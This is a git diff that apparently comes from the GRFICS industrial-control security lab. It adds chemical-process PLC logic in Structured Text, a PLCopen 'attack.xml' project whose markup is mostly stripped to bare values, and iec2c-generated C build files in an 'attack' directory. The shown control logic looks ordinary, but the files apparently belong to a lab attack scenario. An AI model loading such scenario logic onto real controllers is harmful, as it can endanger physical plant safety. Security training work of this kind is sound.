scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, 